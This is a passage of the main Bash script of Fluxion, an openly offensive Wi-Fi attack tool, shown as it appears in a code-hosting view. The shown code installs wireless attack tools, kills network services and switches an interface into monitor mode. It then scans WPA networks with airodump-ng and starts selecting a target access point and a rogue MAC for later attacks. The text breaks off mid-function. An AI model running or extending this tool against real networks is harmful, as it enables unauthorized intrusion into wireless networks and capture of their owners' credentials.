987 lines
34 KiB
Bash
Executable File
987 lines
34 KiB
Bash
Executable File
#!/bin/bash
|
|
|
|
################################ < FLUXION Parameters > ################################
|
|
# NOTE: The FLUXIONPath constant will not be populated correctly if the script is called
|
|
# directly via a symlink. Symlinks in the path to the script should work completely fine.
|
|
declare -r FLUXIONPath="$( cd "$(dirname "$0")" ; pwd -P )"
|
|
|
|
declare -r FLUXIONWorkspacePath="/tmp/fluxspace"
|
|
declare -r FLUXIONHashPath="$FLUXIONPath/attacks/Handshake Snooper/handshakes"
|
|
declare -r FLUXIONScanDB="dump"
|
|
|
|
declare -r FLUXIONNoiseFloor=-90
|
|
declare -r FLUXIONNoiseCeiling=-60
|
|
|
|
declare -r FLUXIONVersion=3
|
|
declare -r FLUXIONRevision=10
|
|
|
|
declare -r FLUXIONDebug=${FLUXIONDebug:+1}
|
|
declare -r FLUXIONWIKillProcesses=${FLUXIONWIKillProcesses:+1}
|
|
declare -r FLUXIONWIReloadDriver=${FLUXIONWIReloadDriver:+1}
|
|
declare -r FLUXIONAuto=${FLUXIONAuto:+1}
|
|
|
|
# FLUXIONDebug [Normal Mode "" / Developer Mode 1]
|
|
declare -r FLUXIONOutputDevice=$([ $FLUXIONDebug ] && echo "/dev/stdout" || echo "/dev/null")
|
|
|
|
declare -r FLUXIONHoldXterm=$([ $FLUXIONDebug ] && echo "-hold" || echo "")
|
|
|
|
################################# < Library Includes > #################################
|
|
source lib/installer/InstallerUtils.sh
|
|
source lib/InterfaceUtils.sh
|
|
source lib/SandboxUtils.sh
|
|
source lib/FormatUtils.sh
|
|
source lib/ColorUtils.sh
|
|
source lib/IOUtils.sh
|
|
source lib/HashUtils.sh
|
|
|
|
################################ < FLUXION Parameters > ################################
|
|
FLUXIONPrompt="$CRed[${CSBlu}fluxion$CSYel@$CSWht$HOSTNAME$CClr$CRed]-[$CSYel~$CClr$CRed]$CClr "
|
|
FLUXIONVLine="$CRed[$CSYel*$CClr$CRed]$CClr"
|
|
|
|
################################ < Library Parameters > ################################
|
|
InterfaceUtilsOutputDevice="$FLUXIONOutputDevice"
|
|
|
|
SandboxWorkspacePath="$FLUXIONWorkspacePath"
|
|
SandboxOutputDevice="$FLUXIONOutputDevice"
|
|
|
|
InstallerUtilsWorkspacePath="$FLUXIONWorkspacePath"
|
|
InstallerUtilsOutputDevice="$FLUXIONOutputDevice"
|
|
InstallerUtilsNoticeMark="$FLUXIONVLine"
|
|
|
|
PackageManagerLog="$InstallerUtilsWorkspacePath/package_manager.log"
|
|
|
|
IOUtilsHeader="fluxion_header"
|
|
IOUtilsQueryMark="$FLUXIONVLine"
|
|
IOUtilsPrompt="$FLUXIONPrompt"
|
|
|
|
HashOutputDevice="$FLUXIONOutputDevice"
|
|
|
|
################################# < Super User Check > #################################
|
|
if [ $EUID -ne 0 ]; then
|
|
echo -e "${CRed}You don't have admin privilegies, execute the script as root.$CClr"
|
|
exit 1
|
|
fi
|
|
|
|
################################### < XTerm Checks > ###################################
|
|
if [ ! "${DISPLAY:-}" ]; then
|
|
echo -e "${CRed}The script should be exected inside a X (graphical) session.$CClr"
|
|
exit 2
|
|
fi
|
|
|
|
if ! hash xdpyinfo 2>/dev/null; then
|
|
echo -e "${CRed}xdpyinfo not installed, please install the relevant package for your distribution.$CClr"
|
|
exit 3
|
|
fi
|
|
|
|
if ! xdpyinfo &> /dev/null; then
|
|
echo -e "${CRed}The script failed to initialize an xterm test session.$CClr"
|
|
exit 3
|
|
fi
|
|
|
|
################################# < Default Language > #################################
|
|
source language/en.sh
|
|
|
|
################################# < User Preferences > #################################
|
|
if [ -x "$FLUXIONPath/preferences.sh" ]; then source "$FLUXIONPath/preferences.sh"; fi
|
|
|
|
########################################################################################
|
|
function fluxion_exitmode() {
|
|
if [ $FLUXIONDebug ]; then return 1; fi
|
|
|
|
fluxion_header
|
|
|
|
echo -e "$CWht[$CRed-$CWht]$CRed $FLUXIONCleanupAndClosingNotice$CClr"
|
|
|
|
# List currently running processes which we might have to kill before exiting.
|
|
local processes
|
|
readarray processes < <(ps -A)
|
|
|
|
# Currently, fluxion is only responsible for killing airodump-ng, because
|
|
# fluxion explicitly it uses it to scan for candidate target access points.
|
|
# NOTICE: Processes started by subscripts, such as an attack script,
|
|
# MUST BE TERMINATED BY THAT SAME SCRIPT in the subscript's abort handler.
|
|
local targets=("airodump-ng")
|
|
|
|
local targetID # Program identifier/title
|
|
for targetID in "${targets[@]}"; do
|
|
# Get PIDs of all programs matching targetPID
|
|
local targetPID=$(echo "${processes[@]}" | awk '$4~/'"$targetID"'/{print $1}')
|
|
if [ ! "$targetPID" ]; then continue; fi
|
|
echo -e "$CWht[$CRed-$CWht] `io_dynamic_output $FLUXIONKillingProcessNotice`"
|
|
killall $targetPID &> $FLUXIONOutputDevice
|
|
done
|
|
|
|
|
|
# If the installer activated the package manager, make sure to undo any changes.
|
|
if [ "$PackageManagerCLT" ]; then
|
|
echo -e "$CWht[$CRed-$CWht] "$(io_dynamic_output "$FLUXIONRestoringPackageManagerNotice")"$CClr"
|
|
unprep_package_manager
|
|
fi
|
|
|
|
|
|
if [ "$WIMonitor" ]; then
|
|
echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingMonitorNotice$CGrn $WIMonitor$CClr"
|
|
if [ "$FLUXIONAirmonNG" ]
|
|
then airmon-ng stop "$WIMonitor" &> $FLUXIONOutputDevice
|
|
else interface_set_mode "$WIMonitor" "managed"
|
|
fi
|
|
fi
|
|
|
|
echo -e "$CWht[$CRed-$CWht] $FLUXIONRestoringTputNotice$CClr"
|
|
tput cnorm
|
|
|
|
if [ ! $FLUXIONDebug ]; then
|
|
echo -e "$CWht[$CRed-$CWht] $FLUXIONDeletingFilesNotice$CClr"
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/*"
|
|
fi
|
|
|
|
if [ $FLUXIONWIKillProcesses ]; then
|
|
echo -e "$CWht[$CRed-$CWht] $FLUXIONRestartingNetworkManagerNotice$CClr"
|
|
|
|
# systemctl check
|
|
systemd=$(whereis systemctl)
|
|
if [ "$systemd" = "" ];then
|
|
service network-manager restart &> $FLUXIONOutputDevice &
|
|
service networkmanager restart &> $FLUXIONOutputDevice &
|
|
service networking restart &> $FLUXIONOutputDevice &
|
|
else
|
|
systemctl restart NetworkManager &> $FLUXIONOutputDevice &
|
|
fi
|
|
fi
|
|
|
|
echo -e "$CWht[$CGrn+$CWht] $CGrn$FLUXIONCleanupSuccessNotice$CClr"
|
|
echo -e "$CWht[$CGrn+$CWht] $CGry$FLUXIONThanksSupportersNotice$CClr"
|
|
|
|
sleep 3
|
|
|
|
clear
|
|
|
|
exit 0
|
|
}
|
|
|
|
# Delete log only in Normal Mode !
|
|
function fluxion_conditional_clear() {
|
|
# Clear iff we're not in debug mode
|
|
if [ ! $FLUXIONDebug ]; then clear; fi
|
|
}
|
|
|
|
function fluxion_conditional_bail() {
|
|
echo ${1:-"Something went wrong, whoops! (report this)"}; sleep 5
|
|
if [ ! $FLUXIONDebug ]
|
|
then fluxion_handle_exit; return 1
|
|
fi
|
|
echo "Press any key to continue execution..."
|
|
read bullshit
|
|
}
|
|
|
|
# ERROR Report only in Developer Mode
|
|
function fluxion_error_report() {
|
|
echo "Error on line $1"
|
|
}
|
|
|
|
if [ "$FLUXIONDebug" ]; then
|
|
trap 'fluxion_error_report $LINENUM' ERR
|
|
fi
|
|
|
|
function fluxion_handle_abort_attack() {
|
|
if [ $(type -t stop_attack) ]; then
|
|
stop_attack &> $FLUXIONOutputDevice
|
|
unprep_attack &> $FLUXIONOutputDevice
|
|
else
|
|
echo "Attack undefined, can't stop anything..." > $FLUXIONOutputDevice
|
|
fi
|
|
}
|
|
|
|
# In case an abort signal is received,
|
|
# abort any attacks currently running.
|
|
trap fluxion_handle_abort_attack SIGABRT
|
|
|
|
function fluxion_handle_exit() {
|
|
fluxion_handle_abort_attack
|
|
fluxion_exitmode
|
|
exit 1
|
|
}
|
|
|
|
# In case of unexpected termination, run fluxion_exitmode
|
|
# to execute cleanup and reset commands.
|
|
trap fluxion_handle_exit SIGINT SIGHUP
|
|
|
|
function fluxion_header() {
|
|
format_apply_autosize "[%*s]\n"
|
|
local verticalBorder=$FormatApplyAutosize
|
|
|
|
format_apply_autosize "[%*s${CSRed}FLUXION $FLUXIONVersion${CSWht}.${CSBlu}$FLUXIONRevision$CSRed <$CIRed F${CIYel}luxion$CIRed I${CIYel}s$CIRed T${CIYel}he$CIRed F${CIYel}uture$CClr$CSYel >%*s$CSBlu]\n";
|
|
local headerTextFormat="$FormatApplyAutosize"
|
|
|
|
fluxion_conditional_clear
|
|
|
|
echo -e "`printf "$CSRed$verticalBorder" "" | sed -r "s/ /~/g"`"
|
|
printf "$CSRed$verticalBorder" ""
|
|
printf "$headerTextFormat" "" ""
|
|
printf "$CSBlu$verticalBorder" ""
|
|
echo -e "`printf "$CSBlu$verticalBorder" "" | sed -r "s/ /~/g"`$CClr"
|
|
echo
|
|
echo
|
|
}
|
|
|
|
# Create working directory
|
|
if [ ! -d "$FLUXIONWorkspacePath" ]; then
|
|
mkdir -p "$FLUXIONWorkspacePath" &> $FLUXIONOutputDevice
|
|
fi
|
|
|
|
####################################### < Start > ######################################
|
|
if [ ! $FLUXIONDebug ]; then
|
|
FLUXIONBanner=()
|
|
|
|
format_center_literals " ⌠▓▒▓▒ ⌠▓╗ ⌠█┐ ┌█ ┌▓\ /▓┐ ⌠▓╖ ⌠◙▒▓▒◙ ⌠█\ ☒┐"; FLUXIONBanner+=("$FormatCenterLiterals");
|
|
format_center_literals " ║▒_ │▒║ │▒║ ║▒ \▒\/▒/ │☢╫ │▒┌╤┐▒ ║▓▒\ ▓║"; FLUXIONBanner+=("$FormatCenterLiterals");
|
|
format_center_literals " ≡◙◙ ║◙║ ║◙║ ║◙ ◙◙ ║¤▒ ║▓║☯║▓ ♜◙\✪\◙♜"; FLUXIONBanner+=("$FormatCenterLiterals");
|
|
format_center_literals " ║▒ │▒║__ │▒└_┘▒ /▒/\▒\ │☢╫ │▒└╧┘▒ ║█ \▒█║"; FLUXIONBanner+=("$FormatCenterLiterals");
|
|
format_center_literals " ⌡▓ ⌡◘▒▓▒ ⌡◘▒▓▒◘ └▓/ \▓┘ ⌡▓╝ ⌡◙▒▓▒◙ ⌡▓ \▓┘"; FLUXIONBanner+=("$FormatCenterLiterals");
|
|
format_center_literals "¯¯¯ ¯¯¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯ ¯¯¯ ¯¯¯¯ ¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯"; FLUXIONBanner+=("$FormatCenterLiterals");
|
|
|
|
clear
|
|
|
|
if [ "$FLUXIONAuto" ]
|
|
then echo -e "$CBlu"
|
|
else echo -e "$CRed"
|
|
fi
|
|
|
|
for line in "${FLUXIONBanner[@]}"
|
|
do echo "$line"; sleep 0.05
|
|
done
|
|
#echo "${FLUXIONBanner[@]}"
|
|
echo
|
|
|
|
sleep 0.1
|
|
format_center_literals "${CGrn}Site: ${CRed}https://github.com/FluxionNetwork/fluxion$CClr"; echo -e "$FormatCenterLiterals"
|
|
|
|
sleep 0.1
|
|
format_center_literals "${CSRed}FLUXION $FLUXIONVersion$CClr (rev. $CSBlu$FLUXIONRevision$CClr)$CYel by$CWht ghost"; echo -e "$FormatCenterLiterals"
|
|
|
|
sleep 0.1
|
|
if installer_utils_check_update "https://raw.githubusercontent.com/FluxionNetwork/fluxion/master/fluxion.sh" "FLUXIONVersion=" "FLUXIONRevision=" $FLUXIONVersion $FLUXIONRevision
|
|
then installer_utils_run_update "https://github.com/FluxionNetwork/fluxion/archive/master.zip" "FLUXION-V$FLUXIONVersion.$FLUXIONRevision" "`dirname "$FLUXIONPath"`"
|
|
fi
|
|
|
|
echo
|
|
|
|
FLUXIONCLIToolsRequired=("aircrack-ng" "python2:python2.7|python2" "bc" "awk:awk|gawk|mawk" "curl" "dhcpd:isc-dhcp-server|dhcp" "7zr:p7zip" "hostapd" "lighttpd" "iwconfig:wireless-tools" "macchanger" "mdk3" "nmap" "openssl" "php-cgi" "pyrit" "xterm" "rfkill" "unzip" "route:net-tools" "fuser:psmisc" "killall:psmisc")
|
|
FLUXIONCLIToolsMissing=()
|
|
|
|
while ! installer_utils_check_dependencies FLUXIONCLIToolsRequired[@]
|
|
do installer_utils_run_dependencies InstallerUtilsCheckDependencies[@]
|
|
done
|
|
fi
|
|
|
|
#################################### < Resolution > ####################################
|
|
function fluxion_set_resolution() { # Windows + Resolution
|
|
# Calc options
|
|
RATIO=4
|
|
|
|
# Get demensions
|
|
SCREEN_SIZE=$(xdpyinfo | grep dimension | awk '{print $4}' | tr -d "(")
|
|
SCREEN_SIZE_X=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $1}'))
|
|
SCREEN_SIZE_Y=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $2}'))
|
|
|
|
PROPOTION=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$SCREEN_SIZE_Y}")/1 | bc)
|
|
NEW_SCREEN_SIZE_X=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$RATIO}")/1 | bc)
|
|
NEW_SCREEN_SIZE_Y=$(echo $(awk "BEGIN {print $SCREEN_SIZE_Y/$RATIO}")/1 | bc)
|
|
|
|
NEW_SCREEN_SIZE_BIG_X=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_X/$RATIO}")/1 | bc)
|
|
NEW_SCREEN_SIZE_BIG_Y=$(echo $(awk "BEGIN {print 1.5*$SCREEN_SIZE_Y/$RATIO}")/1 | bc)
|
|
|
|
SCREEN_SIZE_MID_X=$(echo $(($SCREEN_SIZE_X+($SCREEN_SIZE_X-2*$NEW_SCREEN_SIZE_X)/2)))
|
|
SCREEN_SIZE_MID_Y=$(echo $(($SCREEN_SIZE_Y+($SCREEN_SIZE_Y-2*$NEW_SCREEN_SIZE_Y)/2)))
|
|
|
|
# Upper
|
|
TOPLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0+0"
|
|
TOPRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+0"
|
|
TOP="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X+0"
|
|
|
|
# Lower
|
|
BOTTOMLEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-0"
|
|
BOTTOMRIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0-0"
|
|
BOTTOM="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+$SCREEN_SIZE_MID_X-0"
|
|
|
|
# Y mid
|
|
LEFT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y+0-$SCREEN_SIZE_MID_Y"
|
|
RIGHT="-geometry $NEW_SCREEN_SIZE_Xx$NEW_SCREEN_SIZE_Y-0+$SCREEN_SIZE_MID_Y"
|
|
|
|
# Big
|
|
TOPLEFTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y+0+0"
|
|
TOPRIGHTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y-0+0"
|
|
}
|
|
|
|
##################################### < Language > #####################################
|
|
function fluxion_set_language() {
|
|
if [ "$FLUXIONAuto" ]; then
|
|
FLUXIONLanguage="en"
|
|
else
|
|
# Get all languages available.
|
|
local languageCodes
|
|
readarray -t languageCodes < <(ls -1 language | sed -E 's/\.sh//')
|
|
|
|
local languages
|
|
readarray -t languages < <(head -n 3 language/*.sh | grep -E "^# native: " | sed -E 's/# \w+: //')
|
|
|
|
io_query_format_fields "$FLUXIONVLine Select your language" "\t$CRed[$CSYel%d$CClr$CRed]$CClr %s / %s\n" languageCodes[@] languages[@]
|
|
|
|
FLUXIONLanguage=${IOQueryFormatFields[0]}
|
|
|
|
echo # Leave this spacer.
|
|
|
|
# Check if all language files are present for the selected language.
|
|
find -type d -name language | while read language_dir; do
|
|
if [ ! -e "$language_dir/${FLUXIONLanguage}.sh" ]; then
|
|
echo -e "$FLUXIONVLine ${CYel}Warning${CClr}, missing language file:"
|
|
echo -e "\t$language_dir/${FLUXIONLanguage}.sh"
|
|
return 1
|
|
fi
|
|
done
|
|
|
|
# If a file is missing, fall back to english.
|
|
if [ $? -eq 1 ]; then
|
|
echo -e "\n\n$FLUXIONVLine Falling back to English..."; sleep 5
|
|
FLUXIONLanguage="en"
|
|
return 1
|
|
fi
|
|
|
|
source "$FLUXIONPath/language/$FLUXIONLanguage.sh"
|
|
fi
|
|
}
|
|
|
|
|
|
#################################### < Interfaces > ####################################
|
|
function fluxion_unset_interface() {
|
|
# Unblock interfaces to make them available.
|
|
echo -e "$FLUXIONVLine $FLUXIONUnblockingWINotice"
|
|
rfkill unblock all &> $FLUXIONOutputDevice
|
|
|
|
# Find all monitor-mode interfaces & all AP interfaces.
|
|
echo -e "$FLUXIONVLine $FLUXIONFindingExtraWINotice"
|
|
local wiMonitors=($(iwconfig 2>&1 | grep "Mode:Monitor" | awk '{print $1}'))
|
|
|
|
# Remove all monitor-mode & all AP interfaces.
|
|
echo -e "$FLUXIONVLine $FLUXIONRemovingExtraWINotice"
|
|
if [ ${#wiMonitors[@]} -gt 0 ]; then
|
|
local monitor
|
|
for monitor in ${wiMonitors[@]}; do
|
|
# Remove any previously created fluxion AP interfaces.
|
|
#iw dev "FX${monitor:2}AP" del &> $FLUXIONOutputDevice
|
|
|
|
# Remove monitoring interface after AP interface.
|
|
if [[ "$monitor" = *"mon" ]]
|
|
then airmon-ng stop "$monitor" > $FLUXIONOutputDevice
|
|
else interface_set_mode "$monitor" "managed"
|
|
fi
|
|
|
|
if [ $FLUXIONDebug ]; then
|
|
echo -e "Stopped $monitor."
|
|
fi
|
|
done
|
|
fi
|
|
|
|
WIMonitor=""
|
|
}
|
|
|
|
# Choose Interface
|
|
function fluxion_set_interface() {
|
|
if [ "$WIMonitor" ]; then return 0; fi
|
|
|
|
fluxion_unset_interface
|
|
|
|
# Gather candidate interfaces.
|
|
echo -e "$FLUXIONVLine $FLUXIONFindingWINotice"
|
|
|
|
# List of all available wireless network interfaces.
|
|
# These will be stored in our array right below.
|
|
interface_list_wireless
|
|
|
|
local wiAlternate=("$FLUXIONGeneralRepeatOption")
|
|
local wiAlternateInfo=("")
|
|
local wiAlternateState=("")
|
|
local wiAlternateColor=("$CClr")
|
|
|
|
interface_prompt "$FLUXIONVLine $FLUXIONInterfaceQuery" InterfaceListWireless[@] \
|
|
wiAlternate[@] wiAlternateInfo[@] wiAlternateState[@] wiAlternateColor[@]
|
|
|
|
local wiSelected=$InterfacePromptIfSelected
|
|
|
|
if [ "$wiSelected" = "$FLUXIONGeneralRepeatOption" ]
|
|
then fluxion_unset_interface; return 1
|
|
fi
|
|
|
|
if [ ! "$FLUXIONWIKillProcesses" -a "$InterfacePromptIfSelectedState" = "[-]" ]; then
|
|
echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWIError"
|
|
echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWITip"
|
|
sleep 7; fluxion_unset_interface; return 1;
|
|
fi
|
|
|
|
if ! fluxion_run_interface "$wiSelected"
|
|
then return 1
|
|
fi
|
|
|
|
WIMonitor="$FluxionRunInterface"
|
|
}
|
|
|
|
function fluxion_run_interface() {
|
|
if [ ! "$1" ]; then return 1; fi
|
|
|
|
local ifSelected="$1"
|
|
|
|
if [ "$FLUXIONWIReloadDriver" ]; then
|
|
# Get selected interface's driver details/info-descriptor.
|
|
echo -e "$FLUXIONVLine $FLUXIONGatheringWIInfoNotice"
|
|
|
|
if ! interface_driver "$ifSelected"
|
|
then echo -e "$FLUXIONVLine$CRed $FLUXIONUnknownWIDriverError"; sleep 3; return 1
|
|
fi
|
|
|
|
local ifDriver="$InterfaceDriver"
|
|
|
|
# I'm not really sure about this conditional here.
|
|
# FLUXION 2 had the conditional so I kept it there.
|
|
if [ ! "$(echo $ifDriver | egrep 'rt2800|rt73')" ]
|
|
then rmmod -f $ifDriver &> $FLUXIONOutputDevice 2>&1
|
|
|
|
# Wait while interface becomes unavailable.
|
|
echo -e "$FLUXIONVLine `io_dynamic_output $FLUXIONUnloadingWIDriverNotice`"
|
|
while interface_physical "$ifSelected"
|
|
do sleep 1
|
|
done
|
|
fi
|
|
fi
|
|
|
|
if [ "$FLUXIONWIKillProcesses" ]; then
|
|
# Get list of potentially troublesome programs.
|
|
echo -e "$FLUXIONVLine $FLUXIONFindingConflictingProcessesNotice"
|
|
# This shit has to go reeeeeal soon (airmon-ng)...
|
|
local conflictPrograms=($(airmon-ng check | awk 'NR>6{print $2}'))
|
|
|
|
# Kill potentially troublesome programs.
|
|
echo -e "$FLUXIONVLine $FLUXIONKillingConflictingProcessesNotice"
|
|
for program in "${conflictPrograms[@]}"
|
|
do killall "$program" &> $FLUXIONOutputDevice
|
|
done
|
|
fi
|
|
|
|
if [ "$FLUXIONWIReloadDriver" ]; then
|
|
# I'm not really sure about this conditional here.
|
|
# FLUXION 2 had the conditional so I kept it there.
|
|
if [ ! "$(echo $ifDriver | egrep 'rt2800|rt73')" ]
|
|
then modprobe "$ifDriver" &> $FLUXIONOutputDevice 2>&1
|
|
fi
|
|
|
|
# Wait while interface becomes available.
|
|
echo -e "$FLUXIONVLine `io_dynamic_output $FLUXIONLoadingWIDriverNotice`"
|
|
while ! interface_physical "$ifSelected"
|
|
do sleep 1
|
|
done
|
|
fi
|
|
|
|
# Activate wireless interface monitor mode and save identifier.
|
|
echo -e "$FLUXIONVLine $FLUXIONStartingWIMonitorNotice"
|
|
if [ "$FLUXIONAirmonNG" ]; then
|
|
# TODO: Need to check weather switching to monitor mode below failed.
|
|
# Notice: Line below could cause issues with different airmon versions.
|
|
FluxionRunInterface=$(airmon-ng start $ifSelected | awk -F'\[phy[0-9]+\]|\)' '$0~/monitor .* enabled/{print $3}' 2> /dev/null)
|
|
else
|
|
if interface_set_mode "$ifSelected" "monitor"
|
|
then FluxionRunInterface=$ifSelected
|
|
else FluxionRunInterface=""
|
|
fi
|
|
fi
|
|
|
|
if [ "$FluxionRunInterface" ]
|
|
then echo -e "$FLUXIONVLine $FLUXIONMonitorModeWIEnabledNotice"; sleep 3
|
|
else echo -e "$FLUXIONVLine $FLUXIONMonitorModeWIFailedError"; sleep 3; return 2
|
|
fi
|
|
}
|
|
|
|
###################################### < Scanner > #####################################
|
|
function fluxion_set_scanner() {
|
|
# If scanner's already been set and globals are ready, we'll skip setup.
|
|
if [ "$APTargetSSID" -a "$APTargetChannel" -a "$APTargetEncryption" -a \
|
|
"$APTargetMAC" -a "$APTargetMakerID" -a "$APRogueMAC" ]; then
|
|
return 0
|
|
fi
|
|
|
|
if [ "$FLUXIONAuto" ];then
|
|
fluxion_run_scanner $WIMonitor
|
|
else
|
|
local choices=("$FLUXIONScannerChannelOptionAll (2.4GHz)" "$FLUXIONScannerChannelOptionAll (5GHz)" "$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)" "$FLUXIONScannerChannelOptionSpecific" "$FLUXIONGeneralBackOption")
|
|
io_query_choice "$FLUXIONScannerChannelQuery" choices[@]
|
|
|
|
echo
|
|
|
|
case "$IOQueryChoice" in
|
|
"$FLUXIONScannerChannelOptionAll (2.4GHz)") fluxion_run_scanner $WIMonitor "" "bg";;
|
|
"$FLUXIONScannerChannelOptionAll (5GHz)") fluxion_run_scanner $WIMonitor "" "a";;
|
|
"$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)") fluxion_run_scanner $WIMonitor "" "abg";;
|
|
"$FLUXIONScannerChannelOptionSpecific") fluxion_set_scanner_channel;;
|
|
"$FLUXIONGeneralBackOption") fluxion_unset_interface; return 1;;
|
|
esac
|
|
fi
|
|
|
|
if [ $? -ne 0 ]; then return 1; fi
|
|
}
|
|
|
|
function fluxion_set_scanner_channel() {
|
|
fluxion_header
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONScannerChannelQuery"
|
|
echo
|
|
echo -e " $FLUXIONScannerChannelSingleTip ${CBlu}6$CClr "
|
|
echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1-5$CClr "
|
|
echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1,2,5-7,11$CClr "
|
|
echo
|
|
echo -ne "$FLUXIONPrompt"
|
|
|
|
local channels; read channels
|
|
|
|
echo
|
|
|
|
fluxion_run_scanner $WIMonitor $channels
|
|
if [ $? -ne 0 ]; then return 1; fi
|
|
}
|
|
|
|
# Parameters: monitor [ channel(s) [ band(s) ] ]
|
|
function fluxion_run_scanner() {
|
|
if [ ${#@} -lt 1 ]; then return 1; fi;
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONStartingScannerNotice"
|
|
echo -e "$FLUXIONVLine $FLUXIONStartingScannerTip"
|
|
|
|
# Remove any pre-existing scanner results.
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
|
|
|
|
if [ "$FLUXIONAuto" ]; then
|
|
sleep 30 && killall xterm &
|
|
fi
|
|
|
|
# Begin scanner and output all results to "dump-01.csv."
|
|
if ! xterm -title "$FLUXIONScannerHeader" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e "airodump-ng -Mat WPA "${2:+"--channel $2"}" "${3:+"--band $3"}" -w \"$FLUXIONWorkspacePath/dump\" $1" 2> /dev/null; then
|
|
echo -e "$FLUXIONVLine$CRed $FLUXIONGeneralXTermFailureError"; sleep 5; return 1
|
|
fi
|
|
|
|
# Fix this below, creating subshells for something like this is somewhat ridiculous.
|
|
local scannerResultsExist=$([ -f "$FLUXIONWorkspacePath/dump-01.csv" ] && echo true)
|
|
local scannerResultsReadable=$([ -s "$FLUXIONWorkspacePath/dump-01.csv" ] && echo true)
|
|
|
|
if [ ! "$scannerResultsReadable" ]; then
|
|
if [ "$scannerResultsExist" ]; then
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
|
|
fi
|
|
|
|
local choices=("$FLUXIONGeneralBackOption" "$FLUXIONGeneralExitOption")
|
|
io_query_choice "$FLUXIONScannerFailedNotice" choices[@]
|
|
|
|
echo
|
|
|
|
case "$IOQueryChoice" in
|
|
"$FLUXIONGeneralBackOption") return 1;;
|
|
"$FLUXIONGeneralExitOption") fluxion_exitmode; return 2;;
|
|
esac
|
|
fi
|
|
|
|
# Syntheize scan operation results from output file "dump-01.csv."
|
|
echo -e "$FLUXIONVLine $FLUXIONPreparingScannerResultsNotice"
|
|
# Unfortunately, mawk (alias awk) does not support the {n} times matching operator.
|
|
# readarray TargetAPCandidates < <(gawk -F, 'NF==15 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv)
|
|
readarray TargetAPCandidates < <(awk -F, 'NF==15 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv")
|
|
# readarray TargetAPCandidatesClients < <(gawk -F, 'NF==7 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv)
|
|
readarray TargetAPCandidatesClients < <(awk -F, 'NF==7 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv")
|
|
|
|
# Cleanup the workspace to prevent potential bugs/conflicts.
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
|
|
|
|
if [ ${#TargetAPCandidates[@]} -eq 0 ]; then
|
|
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONScannerDetectedNothingNotice"
|
|
sleep 3; return 1
|
|
fi
|
|
}
|
|
|
|
|
|
###################################### < Target > ######################################
|
|
function fluxion_unset_target_ap() {
|
|
APTargetSSID=""
|
|
APTargetChannel=""
|
|
APTargetEncryption=""
|
|
APTargetMAC=""
|
|
APTargetMakerID=""
|
|
APTargetMaker=""
|
|
APRogueMAC=""
|
|
}
|
|
|
|
function fluxion_set_target_ap() {
|
|
if [ "$APTargetSSID" -a "$APTargetChannel" -a "$APTargetEncryption" -a \
|
|
"$APTargetMAC" -a "$APTargetMakerID" -a "$APRogueMAC" ]; then
|
|
return 0
|
|
fi
|
|
|
|
fluxion_unset_target_ap
|
|
|
|
local TargetAPCandidatesMAC=()
|
|
local TargetAPCandidatesClientsCount=()
|
|
local TargetAPCandidatesChannel=()
|
|
local TargetAPCandidatesSecurity=()
|
|
local TargetAPCandidatesSignal=()
|
|
local TargetAPCandidatesPower=()
|
|
local TargetAPCandidatesESSID=()
|
|
local TargetAPCandidatesColor=()
|
|
|
|
for candidateAPInfo in "${TargetAPCandidates[@]}"; do
|
|
candidateAPInfo=$(echo "$candidateAPInfo" | sed -r "s/,\s*/,/g")
|
|
|
|
local i=${#TargetAPCandidatesMAC[@]}
|
|
|
|
TargetAPCandidatesMAC[i]=$(echo "$candidateAPInfo" | cut -d , -f 1)
|
|
TargetAPCandidatesClientsCount[i]=$(echo "${TargetAPCandidatesClients[@]}" | grep -c "${TargetAPCandidatesMAC[i]}")
|
|
TargetAPCandidatesChannel[i]=$(echo "$candidateAPInfo" | cut -d , -f 4)
|
|
TargetAPCandidatesSecurity[i]=$(echo "$candidateAPInfo" | cut -d , -f 6)
|
|
